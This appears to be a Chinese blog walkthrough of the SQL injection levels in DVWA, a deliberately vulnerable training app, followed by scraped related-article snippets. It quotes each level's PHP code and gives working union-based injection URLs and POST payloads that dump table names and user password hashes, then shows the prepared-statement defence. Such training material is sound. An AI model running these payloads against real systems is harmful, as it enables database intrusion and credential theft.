【DVWA】【SQL Injection】SQL注入 Low Medium High Impossible

1.初级篇 low.php
先看源码,取得的参数直接放到sql语句中执行
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

http://localhost/DVWA-master/vulnerabilities/sqli/?id=&Submit=Submit#

直接加引号看报错,通过报错信息很容易的到使用单引号进行闭合
http://localhost/DVWA-master/vulnerabilities/sqli/?id=1'&Submit=Submit#
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
使用order by猜字段数量
http://localhost/DVWA-master/vulnerabilities/sqli/?id=1' order by 3%23&Submit=Submit#

order by 2时页面正常

union select 查询user() database()
http://localhost/DVWA-master/vulnerabilities/sqli/?id=1' union select user(),database()%23&Submit=Submit#

查表名
http://localhost/DVWA-master/vulnerabilities/sqli/?id=0' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'%23&Submit=Submit#

查users表列名
http://localhost/DVWA-master/vulnerabilities/sqli/?id=0' union select 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'%23&Submit=Submit#

查数据
http://localhost/DVWA-master/vulnerabilities/sqli/?id=0' union select user,password from dvwa.users limit 0,1%23&Submit=Submit#

解密可得

2.中级篇 Medium.php
看一下区别,id参数不再使用$_REQUEST获取了,并且使用了mysql_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符。
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
最直接的一点影响就是'被转义成为了\',使得攻击者无法闭合引号而无法注入,
若MySQL客户端的编码为gbk时,就会产生宽字节注入。参照 http://netsecurity.51cto.com/art/201404/435074.htm 利用 https://www.cnblogs.com/superkrissV/p/8379690.html
若id参数为整型的时候,由于不需要闭合引号,一样可以正常注入,此处id为整型
SELECT first_name, last_name FROM users WHERE user_id = $id;
使用hackbar插件提交post数据,post形式下#不用编码成%23
id=0 union select 1,2#&Submit=Submit

和初级篇一样取数据
id=0 union select user,password from dvwa.users limit 0,1#&Submit=Submit

3.高级篇 High.php
id参数是从session中来获取的,由于session数据存储在服务器端,很多程序员会对来自客户端的数据进行严格校验,而服务端的数据则认定安全
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

点击弹出一个页面,对应的url
http://localhost/DVWA-master/vulnerabilities/sqli/session-input.php

审查源码

查看session-input.php源码,可以发现id参数没有经过任何处理直接传递到了session中
if( isset( $_POST[ 'id' ] ) ) {
$_SESSION[ 'id' ] = $_POST[ 'id' ];
//$page[ 'body' ] .= "Session ID set!<br /><br /><br />";
$page[ 'body' ] .= "Session ID: {$_SESSION[ 'id' ]}<br /><br /><br />";
$page[ 'body' ] .= "<script>window.opener.location.reload(true);</script>";
}
明白这些就可以进行注入了,注入的页面是session-input.php,显示结果的页面是index.php
http://localhost/DVWA-master/vulnerabilities/sqli/session-input.php
POST提交
id=0' union select user,password from dvwa.users#&Submit=Submit

刷新
http://localhost/DVWA-master/vulnerabilities/sqli/index.php

4.不可能篇 Impossible.php
查看源码,可以发现使用PDO技术来防止SQL注入,将id绑定为int
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
【DVWA】【SQL Injection】SQL注入 Low Medium High Impossible的更多相关文章
- Fortify Audit Workbench 笔记 SQL Injection SQL注入
SQL Injection SQL注入 Abstract 通过不可信来源的输入构建动态 SQL 指令,攻击者就能够修改指令的含义或者执行任意 SQL 命令. Explanation SQL injec ...
- 【DVWA】【SQL Injection(Blind)】SQL盲注 Low Medium High Impossible
1.初级篇 Low.php 加单引号提交 http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1'&Submit=Submi ...
- DVWA平台v1.8-SQL注入(low级别)
代码 <?php if(isset($_GET['Submit'])){ // Retrieve data $id = $_GET['id']; $getid = "SELECT fi ...
- DVWA全级别之SQL Injection(SQL注入)
DVWA全级别之SQL Injection(注入) DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web ...
- DVWA之SQL Injection
SQL Injection SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害是巨大的,常常 ...
- 新手指南:DVWA-1.9全级别教程之SQL Injection
*本文原创作者:lonehand,转载须注明来自FreeBuf.COM 目前,最新的DVWA已经更新到1.9版本(http://www.dvwa.co.uk/),而网上的教程大多停留在旧版本,且没有针 ...
- Portswigger web security academy:SQL injection
Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...
- 【DVWA】SQL Injection(SQL 注入)通关教程
日期:2019-07-28 20:43:48 更新: 作者:Bay0net 介绍: 0x00.基本信息 关于 mysql 相关的注入,传送门. SQL 注入漏洞之 mysql - Bay0net - ...
- DVWA(三):SQL injection 全等级SQL注入
(本文不定期更新) 一.所需环境: 1.DVWA 2.web环境 phpstudy/wamp 3.burp suite 二.SQL注入产生的原因: 程序员在编写代码的时候,没有对用户输入数据的合法性进 ...
随机推荐
- [VueJS + Typescript] Decouple Dependencies Using IoC Containers in Vue with TypeScript and InversifyJS
Using Object Oriented Programming, OOP, style allows us to apply Inversion of Control, IoC, and more ...
- android自己定义控件系列教程----视图
理解android视图 对于android设备我们所示区域事实上和它在底层的绘制有着非常大的关系,非常多时候我们都仅仅关心我们所示,那么在底层一点它究竟是怎么样的一个东西呢?让我们先来看看这个图. w ...
- linux下常用快捷方式
一.终端最常用的快捷键: 1.新建终端窗口:crtl+shift+n 2.终端的切换:shift+左右箭头 3.挂起:crtl+s 4.解除挂起:crtl+q 5.清屏:crtl+l 二.命令行光标移 ...
- Java 实现一个链表
public class MyList { static class Node {// 节点类 Object data; Node next; public Node(Object data) {// ...
- 【POJ 1275】 Cashier Employment(差分约束系统的建立和求解)
[POJ 1275] Cashier Employment(差分约束系统的建立和求解) Cashier Employment Time Limit: 1000MS Memory Limit: 10 ...
- 【POI2007】【Bzoj 1103】大都市meg
http://www.lydsy.com/JudgeOnline/problem.php?id=1103 在线查询某点到根节点的点权和,参考DFS序&欧拉序列,用树状数组维护即可O(nlogn ...
- MAMP/xampp安装redis
nmp/amp/xampp安装redis 一.安装redis服务 1.通过homebrew安装redis sudo brew install redis 2.启动redis服务,且接受客户端连接 su ...
- E20180121
signature n. 签名; 署名; 识别标志,鲜明特征; [医] 药的用法说明;
- 0626-TP整理二(调试模式,空操作,跨控制器调用,跨方法跳转--redirect(),框架语法,创建model模型)
一.调试模式(入口文件:index.php) define('APP_DEBUG', true); //调试模式 define('APP_DEBUG', FALSE); //运行模式 开启日志信息 ...
- 洛谷 P1045 麦森数
题目描述 形如2^{P}-1的素数称为麦森数,这时P一定也是个素数.但反过来不一定,即如果P是个素数,2^{P}-1不一定也是素数.到1998年底,人们已找到了37个麦森数.最大的一个是P=30213 ...